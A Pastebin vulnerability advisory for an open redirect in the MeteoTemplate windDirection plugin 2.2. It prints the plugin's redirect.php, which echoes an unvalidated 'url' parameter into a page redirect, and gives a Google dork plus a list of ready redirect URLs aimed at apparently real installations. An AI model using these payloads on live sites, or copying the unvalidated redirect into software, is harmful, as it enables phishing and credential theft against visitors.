Advertisement
KingSkrupellos

MeteoTemplate 17.1 Nectarine windDirection 2.2 Open Redirect

Feb 25th, 2019
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.62 KB | None | 0 0
  1. ################################################################################
  2.  
  3. # Exploit Title : MeteoTemplate 17.1 Nectarine windDirection Plugins 2.2 Open Redirection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 26/02/2019
  7. # Vendor Homepage : meteotemplate.com
  8. # Software Download Link : meteotemplate.com/web/downloadRequest.php?file=windDirection_2.2
  9. # Software Information Link : meteotemplate.com/web/plugins.php
  10. # Software Version : 2.2 and 17.1
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : High
  14. # Google Dorks : inurl:''/meteo/plugins/windDirection/''
  15. # Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ################################################################################
  21.  
  22. # Description about Software :
  23. ***************************
  24. This plugin is an extension to the already available analysis of wind direction in the template statistics.
  25.  
  26. The data is shown grouped by months or years. It includes tables, wind roses and also a map overlay
  27.  
  28. which clearly visualizes from where the wind blows.
  29.  
  30. ################################################################################
  31.  
  32. # Impact :
  33. ***********
  34. This web application MeteoTemplate 17.1 Nectarine windDirection Plugins 2.2 accepts a user-controlled
  35.  
  36. input that specifies a link to an external site, and uses that link in a Redirect.
  37.  
  38. This simplifies phishing attacks. An http parameter may contain a URL value and could cause
  39.  
  40. the web application to redirect the request to the specified URL. By modifying the URL value
  41.  
  42. to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.
  43.  
  44. Because the server name in the modified link is identical to the original site, phishing attempts
  45.  
  46. have a more trustworthy appearance.
  47.  
  48. Open redirect is a failure in that process that makes it possible for attackers to steer users to malicious websites.
  49.  
  50. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
  51.  
  52. Web users often encounter redirection when they visit the Web site of a company whose name
  53.  
  54. has been changed or which has been acquired by another company. Visiting unreal web page
  55.  
  56. user's computer becomes affected by malware the task of which is to deceive the valid actor and steal his personal data.
  57.  
  58. ####################################################################
  59.  
  60. # Vulnerable Parameter : url=
  61. *************************
  62.  
  63. # Vulnerable Source Code : [ redirect.php ]
  64. **************************************
  65.  
  66. <?php
  67.  
  68. ############################################################################
  69. #
  70. # Meteotemplate
  71. # http://www.meteotemplate.com
  72. # Free website template for weather enthusiasts
  73. # Author: Jachym
  74. # Brno, Czech Republic
  75. # First release: 2015
  76. #
  77. ############################################################################
  78. #
  79. # Loading Spinner
  80. #
  81. # A script which shows a loading spinner while redirecting.
  82. #
  83. ############################################################################
  84. # Version (change log - http://meteotemplate.com/blog/?page_id=42)
  85. #
  86. # v6.0 Blueberry 2016-04-09
  87. #
  88. ############################################################################
  89.  
  90.  
  91. include("../../config.php");
  92. include($baseURL."css/design.php");
  93. include($baseURL."header.php");
  94. $address = urldecode($_GET["url"]);
  95. ?>
  96. <html>
  97. <head>
  98. <?php metaHeader()?>
  99. <style>
  100. #loading{
  101. background-color: transparent;
  102. height: 100%;
  103. width: 100%;
  104. position: fixed;
  105. z-index: 1;
  106. margin-top: 0px;
  107. top: 0px;
  108. }
  109. #loading-center{
  110. width: 100%;
  111. height: 100%;
  112. position: relative;
  113. }
  114. #loading-center-absolute {
  115. position: absolute;
  116. left: 50%;
  117. top: 50%;
  118. height: 200px;
  119. width: 200px;
  120. margin-top: -100px;
  121. margin-left: -100px;
  122.  
  123. }
  124. .object{
  125. -moz-border-radius: 50% 50% 50% 50%;
  126. -webkit-border-radius: 50% 50% 50% 50%;
  127. border-radius: 50% 50% 50% 50%;
  128. position: absolute;
  129. border-left: 5px solid #FFF;
  130. border-right: 5px solid #FFF;
  131. border-top: 5px solid transparent;
  132. border-bottom: 5px solid transparent;
  133. -webkit-animation: animate 2s infinite;
  134. animation: animate 2s infinite;
  135. }
  136.  
  137. #object_one{
  138. left: 75px;
  139. top: 75px;
  140. width: 50px;
  141. height: 50px;
  142. }
  143.  
  144. #object_two{
  145. left: 65px;
  146. top: 65px;
  147. width: 70px;
  148. height: 70px;
  149. -webkit-animation-delay: 0.1s;
  150. animation-delay: 0.1s;
  151. }
  152.  
  153. #object_three{
  154. left: 55px;
  155. top: 55px;
  156. width: 90px;
  157. height: 90px;
  158. -webkit-animation-delay: 0.2s;
  159. animation-delay: 0.2s;
  160. }
  161. #object_four{
  162. left: 45px;
  163. top: 45px;
  164. width: 110px;
  165. height: 110px;
  166. -webkit-animation-delay: 0.3s;
  167. animation-delay: 0.3s;
  168.  
  169. }
  170.  
  171. @-webkit-keyframes animate {
  172.  
  173.  
  174. 50% {
  175. -ms-transform: rotate(180deg);
  176. -webkit-transform: rotate(180deg);
  177. transform: rotate(180deg);
  178. }
  179.  
  180. 100% {
  181. -ms-transform: rotate(0deg);
  182. -webkit-transform: rotate(0deg);
  183. transform: rotate(0deg);
  184. }
  185.  
  186. }
  187.  
  188. @keyframes animate {
  189.  
  190. 50% {
  191. -ms-transform: rotate(180deg);
  192. -webkit-transform: rotate(180deg);
  193. transform: rotate(180deg);
  194. }
  195.  
  196. 100% {
  197. -ms-transform: rotate(0deg);
  198. -webkit-transform: rotate(0deg);
  199. transform: rotate(0deg);
  200. }
  201. }
  202. </style>
  203. </head>
  204. <body onload="redirectpage()">
  205. <div id="loading">
  206. <div id="loading-center">
  207. <div id="loading-center-absolute">
  208. <div class="object" id="object_four">
  209. </div>
  210. <div class="object" id="object_three">
  211. </div>
  212. <div class="object" id="object_two">
  213. </div>
  214. <div class="object" id="object_one">
  215. </div>
  216. </div>
  217. </div>
  218. </div>
  219. </body>
  220. <script>
  221. function redirectpage(){
  222. window.location.href = "<?php echo $address ?>";
  223. }
  224. </script>
  225. </html>
  226.  
  227. ####################################################################
  228.  
  229. # Open Redirection Exploit :
  230. *************************
  231. /meteo/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  232.  
  233. /template/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  234.  
  235. /plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  236.  
  237. /knjazevac/MeteoTemplate/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  238.  
  239. /meteotemplate/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  240.  
  241. /meteotemplate_new/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  242.  
  243. /meteo_template/template/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  244.  
  245. /meteotemplate-morro-das-antenas/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  246.  
  247. /template1/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  248.  
  249. /busteggia/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  250.  
  251. /eltiempo/plugins/windDirectionredirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  252.  
  253. /clima/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  254.  
  255. /picodabandeira/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  256.  
  257. /full/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  258.  
  259. /2017/template/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  260.  
  261. /segur/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  262.  
  263. /weather/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  264.  
  265. /wxnet/ple1/template/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  266.  
  267. /tpl/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  268.  
  269. /tpl/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  270.  
  271. /acu/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  272.  
  273. /josef/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  274.  
  275. /mt/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  276.  
  277. /template5/plugins/windDirection/redirect.php?url=https://www.[REDIRECTION-ADDRESS].gov
  278.  
  279. ####################################################################
  280.  
  281. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  282.  
  283. ####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement